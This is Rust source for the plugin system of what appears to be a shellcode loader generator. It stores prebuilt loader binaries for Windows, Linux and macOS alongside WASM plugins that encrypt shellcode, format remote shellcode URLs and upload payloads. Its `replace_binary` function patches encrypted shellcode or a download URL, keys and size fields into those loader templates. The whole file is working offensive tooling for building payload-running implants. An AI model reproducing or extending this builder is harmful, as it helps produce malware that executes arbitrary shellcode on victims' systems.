use std::{ collections::HashMap, fs, iter, ops::Not, path::{Path, PathBuf}, sync::OnceLock, }; use anyhow::{anyhow, bail}; use bincode::{decode_from_slice, encode_to_vec, Decode, Encode}; use capnp::{ io::Write, message::{self, ReaderOptions}, serialize_packed, }; use flate2::Compression; use crate::{ plugin_capnp, plugin_system::{ run_plugin, EncryptShellcodeInput, EncryptShellcodeOutput, FormatEncryptedShellcodeInput, FormatEncryptedShellcodeOutput, FormatUrlRemoteInput, FormatUrlRemoteOutput, Pass, UploadFinalShellcodeRemoteInput, UploadFinalShellcodeRemoteOutput, }, utils, BinaryType, Platform, ShellcodeSaveType, }; const BINCODE_PLUGINS_CONFIG: bincode::config::Configuration = bincode::config::standard(); pub static CONFIG_FILE_PATH: OnceLock = OnceLock::new(); #[derive(Debug, Default, Clone)] pub struct PluginInfo { pub plugin_name: String, pub author: String, pub version: String, pub desc: String, } impl PluginInfo { pub fn plugin_name(&self) -> &str { &self.plugin_name } pub fn author(&self) -> &str { &self.author } pub fn version(&self) -> &str { &self.version } pub fn desc(&self) -> &str { &self.desc } } #[derive(Debug, Default, Clone)] pub struct PluginReplace { pub src_prefix: Vec, pub size_holder: Option>, pub max_len: u64, } impl PluginReplace { pub fn src_prefix(&self) -> &[u8] { &self.src_prefix } pub fn size_holder(&self) -> Option<&Vec> { self.size_holder.as_ref() } pub fn max_len(&self) -> usize { self.max_len as usize } } #[derive(Debug, Default, Clone)] pub struct Bins { pub executable: Option>, pub dynamic_library: Option>, } impl Bins { pub fn is_platform_supported(&self) -> bool { matches!((self.executable(), self.dynamic_library()), (None, None)).not() } pub fn supported_binary_types(&self) -> Vec { let mut bin_types = Vec::default(); if self.executable().is_some() { bin_types.push(BinaryType::Executable); } if self.dynamic_library().is_some() { bin_types.push(BinaryType::DynamicLibrary); } bin_types } } impl Bins { pub fn executable(&self) -> Option<&Vec> { self.executable.as_ref() } pub fn dynamic_library(&self) -> Option<&Vec> { self.dynamic_library.as_ref() } pub fn executable_mut(&mut self) -> &mut Option> { &mut self.executable } pub fn dynamic_library_mut(&mut self) -> &mut Option> { &mut self.dynamic_library } } #[derive(Debug, Default, Clone)] pub struct PluginBins { pub windows: Bins, pub linux: Bins, pub darwin: Bins, } impl PluginBins { pub fn supported_plaforms(&self) -> Vec { let mut platforms = Vec::default(); if self.windows().is_platform_supported() { platforms.push(Platform::Windows); } if self.linux().is_platform_supported() { platforms.push(Platform::Linux); } if self.darwin().is_platform_supported() { platforms.push(Platform::Darwin); } platforms } pub fn get_that_binary(&self, platform: Platform, bin_type: BinaryType) -> Vec { let platform = match platform { Platform::Windows => self.windows(), Platform::Linux => self.linux(), Platform::Darwin => self.darwin(), }; match bin_type { BinaryType::Executable => platform.executable().unwrap().to_vec(), BinaryType::DynamicLibrary => platform.dynamic_library().unwrap().to_vec(), } } } impl PluginBins { pub fn windows(&self) -> &Bins { &self.windows } pub fn linux(&self) -> &Bins { &self.linux } pub fn darwin(&self) -> &Bins { &self.darwin } } #[derive(Debug, Default, Clone)] pub struct PluginPlugins { pub encrypt_shellcode: Option>, pub format_encrypted_shellcode: Option>, pub format_url_remote: Option>, pub upload_final_shellcode_remote: Option>, } impl PluginPlugins { pub fn run_encrypt_shellcode(&self, path: &Path) -> anyhow::Result { let shellcode = fs::read(path)?; Ok(if let Some(wasm) = self.encrypt_shellcode() { let input = EncryptShellcodeInput { shellcode }; let res = run_plugin(wasm, "encrypt_shellcode", &input)?; serde_json::from_slice(res.as_slice())? } else { EncryptShellcodeOutput { encrypted: shellcode, ..Default::default() } }) } pub fn run_format_encrypted_shellcode( &self, shellcode: &[u8], ) -> anyhow::Result { let shellcode = shellcode.to_owned(); Ok(if let Some(wasm) = self.format_encrypted_shellcode() { let input = FormatEncryptedShellcodeInput { shellcode }; let res = run_plugin(wasm, "format_encrypted_shellcode", &input)?; serde_json::from_slice(res.as_slice())? } else { FormatEncryptedShellcodeOutput { formated_shellcode: shellcode, } }) } pub fn run_format_url_remote(&self, url: &str) -> anyhow::Result { let url = url.to_owned(); Ok(if let Some(wasm) = self.format_url_remote() { let input = FormatUrlRemoteInput { url }; let res = run_plugin(wasm, "format_url_remote", &input)?; serde_json::from_slice(res.as_slice())? } else { FormatUrlRemoteOutput { formated_url: url } }) } pub fn run_upload_final_shellcode_remote( &self, final_shellcode: &[u8], ) -> anyhow::Result { let final_shellcode = final_shellcode.to_owned(); Ok(if let Some(wasm) = self.upload_final_shellcode_remote() { let input = UploadFinalShellcodeRemoteInput { final_shellcode }; let res = run_plugin(wasm, "upload_final_shellcode_remote", &input)?; serde_json::from_slice(res.as_slice())? } else { UploadFinalShellcodeRemoteOutput::default() }) } } impl PluginPlugins { pub fn encrypt_shellcode(&self) -> Option<&Vec> { self.encrypt_shellcode.as_ref() } pub fn format_encrypted_shellcode(&self) -> Option<&Vec> { self.format_encrypted_shellcode.as_ref() } pub fn format_url_remote(&self) -> Option<&Vec> { self.format_url_remote.as_ref() } pub fn upload_final_shellcode_remote(&self) -> Option<&Vec> { self.upload_final_shellcode_remote.as_ref() } pub fn encrypt_shellcode_mut(&mut self) -> &mut Option> { &mut self.encrypt_shellcode } pub fn format_encrypted_shellcode_mut(&mut self) -> &mut Option> { &mut self.format_encrypted_shellcode } pub fn format_url_remote_mut(&mut self) -> &mut Option> { &mut self.format_url_remote } pub fn upload_final_shellcode_remote_mut(&mut self) -> &mut Option> { &mut self.upload_final_shellcode_remote } } #[derive(Debug, Default, Clone)] pub struct Plugin { pub version: String, pub info: PluginInfo, pub replace: PluginReplace, pub bins: PluginBins, pub plugins: PluginPlugins, } impl Plugin { pub fn decode_from_slice(data: &[u8]) -> anyhow::Result { let mut decoder = flate2::write::ZlibDecoder::new(Vec::new()); decoder.write_all(data)?; let decompressed = decoder.finish()?; let message = serialize_packed::read_message(decompressed.as_slice(), ReaderOptions::new())?; let plugin = message.get_root::()?; let info = plugin.get_info()?; let replace = plugin.get_replace()?; let bins = plugin.get_bins()?; let plugins = plugin.get_plugins()?; let check_empty = |bin: &[u8]| { if bin.is_empty() { None } else { Some(bin.to_vec()) } }; Ok(Self { version: plugin.get_version()?.to_string()?, info: PluginInfo { plugin_name: info.get_plugin_name()?.to_string()?, author: info.get_author()?.to_string()?, version: info.get_version()?.to_string()?, desc: info.get_desc()?.to_string()?, }, replace: PluginReplace { src_prefix: replace.get_src_prefix()?.to_vec(), size_holder: check_empty(replace.get_size_holder()?), max_len: replace.get_max_len(), }, bins: PluginBins { windows: { let platform_bins = bins.get_windows()?; Bins { executable: check_empty(platform_bins.get_executable()?), dynamic_library: check_empty(platform_bins.get_dynamic_library()?), } }, linux: { let platform_bins = bins.get_linux()?; Bins { executable: check_empty(platform_bins.get_executable()?), dynamic_library: check_empty(platform_bins.get_dynamic_library()?), } }, darwin: { let platform_bins = bins.get_darwin()?; Bins { executable: check_empty(platform_bins.get_executable()?), dynamic_library: check_empty(platform_bins.get_dynamic_library()?), } }, }, plugins: PluginPlugins { encrypt_shellcode: check_empty(plugins.get_encrypt_shellcode()?), format_encrypted_shellcode: check_empty(plugins.get_format_encrypted_shellcode()?), format_url_remote: check_empty(plugins.get_format_url_remote()?), upload_final_shellcode_remote: check_empty( plugins.get_upload_final_shellcode_remote()?, ), }, }) } pub fn encode_to_vec(&self) -> anyhow::Result> { let mut message = message::Builder::new_default(); let mut plugin = message.init_root::(); plugin.set_version(self.version()); let mut info = plugin.reborrow().init_info(); let plugin_info = self.info(); info.set_plugin_name(plugin_info.plugin_name()); info.set_author(plugin_info.author()); info.set_version(plugin_info.version()); info.set_desc(plugin_info.desc()); let mut replace = plugin.reborrow().init_replace(); let plugin_replace = self.replace(); replace.set_src_prefix(plugin_replace.src_prefix()); if let Some(size_holder) = plugin_replace.size_holder() { replace.set_size_holder(size_holder); } replace.set_max_len(plugin_replace.max_len() as u64); let mut bins = plugin.reborrow().init_bins(); if self.bins().windows().is_platform_supported() { let mut builder = bins.reborrow().init_windows(); let platform_bins = self.bins().windows(); if let Some(bin) = platform_bins.executable() { builder.set_executable(bin); } if let Some(bin) = platform_bins.dynamic_library() { builder.set_dynamic_library(bin); } } if self.bins().linux().is_platform_supported() { let mut builder = bins.reborrow().init_linux(); let platform_bins = self.bins().linux(); if let Some(bin) = platform_bins.executable() { builder.set_executable(bin); } if let Some(bin) = platform_bins.dynamic_library() { builder.set_dynamic_library(bin); } } if self.bins().darwin().is_platform_supported() { let mut builder = bins.reborrow().init_darwin(); let platform_bins = self.bins().darwin(); if let Some(bin) = platform_bins.executable() { builder.set_executable(bin); } if let Some(bin) = platform_bins.dynamic_library() { builder.set_dynamic_library(bin); } } let mut plugins = plugin.reborrow().init_plugins(); let plugin_plugins = self.plugins(); if let Some(plugin) = plugin_plugins.encrypt_shellcode() { plugins.set_encrypt_shellcode(plugin); } if let Some(plugin) = plugin_plugins.format_encrypted_shellcode() { plugins.set_format_encrypted_shellcode(plugin); } if let Some(plugin) = plugin_plugins.format_url_remote() { plugins.set_format_url_remote(plugin); } if let Some(plugin) = plugin_plugins.upload_final_shellcode_remote() { plugins.set_upload_final_shellcode_remote(plugin); } let mut buf = Vec::new(); serialize_packed::write_message(&mut buf, &message)?; let mut encoder = flate2::write::ZlibEncoder::new(Vec::new(), Compression::best()); encoder.write_all(buf.as_slice())?; let compressed = encoder.finish()?; anyhow::Ok(compressed) } pub fn replace_binary( &self, bin: &mut [u8], shellcode_src: String, mut pass: Vec, ) -> anyhow::Result<()> { let save_type = if self.replace().size_holder().is_some() { ShellcodeSaveType::Local } else { ShellcodeSaveType::Remote }; // replace shellcode src let shellcode_src = match save_type { ShellcodeSaveType::Local => { let path = Path::new(&shellcode_src); let output = self.plugins().run_encrypt_shellcode(path)?; pass = output.pass().to_vec(); let final_shellcode = self .plugins() .run_format_encrypted_shellcode(output.encrypted())?; final_shellcode.formated_shellcode().to_vec() } ShellcodeSaveType::Remote => { let mut shellcode_src = self .plugins() .run_format_url_remote(&shellcode_src)? .formated_url() .as_bytes() .to_vec(); shellcode_src.push(b'\0'); shellcode_src } }; if shellcode_src.len() > self.replace().max_len() { bail!( "{} too long.", match save_type { ShellcodeSaveType::Local => "Shellcode", ShellcodeSaveType::Remote => "Shellcode Url", } ); } utils::replace( bin, self.replace().src_prefix(), shellcode_src.as_slice(), self.replace().max_len(), ); // replace pass for pass in pass { let holder = pass.holder(); let replace_by = pass.replace_by(); utils::replace(bin, holder, replace_by, holder.len()); } // replace size_holder if save_type == ShellcodeSaveType::Local { let size_holder = self.replace().size_holder().unwrap(); let shellcode_len_bytes = shellcode_src.len().to_string().as_bytes().to_vec(); if shellcode_len_bytes.len() > size_holder.len() { bail!("Shellcode size bytes too long."); } let mut size_bytes: Vec = iter::repeat(b'0') .take(size_holder.len() - shellcode_len_bytes.len()) .collect(); size_bytes.extend_from_slice(shellcode_len_bytes.as_slice()); utils::replace(bin, size_holder, size_bytes.as_slice(), size_holder.len()); } Ok(()) } } impl Plugin { pub fn version(&self) -> &str { &self.version } pub fn info(&self) -> &PluginInfo { &self.info } pub fn replace(&self) -> &PluginReplace { &self.replace } pub fn bins(&self) -> &PluginBins { &self.bins } pub fn plugins(&self) -> &PluginPlugins { &self.plugins } } #[derive(Debug, Clone, Default, Encode, Decode, PartialEq, Eq)] pub struct Plugins(HashMap>); impl Plugins { pub fn reade_plugins() -> anyhow::Result { let plugins_path = CONFIG_FILE_PATH .get() .ok_or(anyhow!("Get config file path failed."))?; let buf = fs::read(plugins_path)?; let (plugins, _) = decode_from_slice(buf.as_slice(), BINCODE_PLUGINS_CONFIG)?; Ok(plugins) } pub fn uptade_plugins(&self) -> anyhow::Result<()> { let buf = encode_to_vec(self, BINCODE_PLUGINS_CONFIG)?; let plugins_path = CONFIG_FILE_PATH .get() .ok_or(anyhow!("Get config file path failed."))?; if plugins_path.is_dir() { fs::remove_dir(plugins_path)?; } fs::write(plugins_path, buf)?; Ok(()) } pub fn get(&self, name: &str) -> anyhow::Result { let buf = self .0 .get(name) .ok_or(anyhow!("Get plugin by name failed."))?; Plugin::decode_from_slice(buf) } pub fn get_sorted_names(&self) -> Vec { let mut names: Vec = self.0.keys().map(|x| x.to_owned()).collect(); names.sort(); names } pub fn is_empty(&self) -> bool { self.0.is_empty() } pub fn insert(&mut self, name: String, plugin: Vec) { self.0.insert(name, plugin); } pub fn remove(&mut self, name: &str) { self.0.remove(name); } }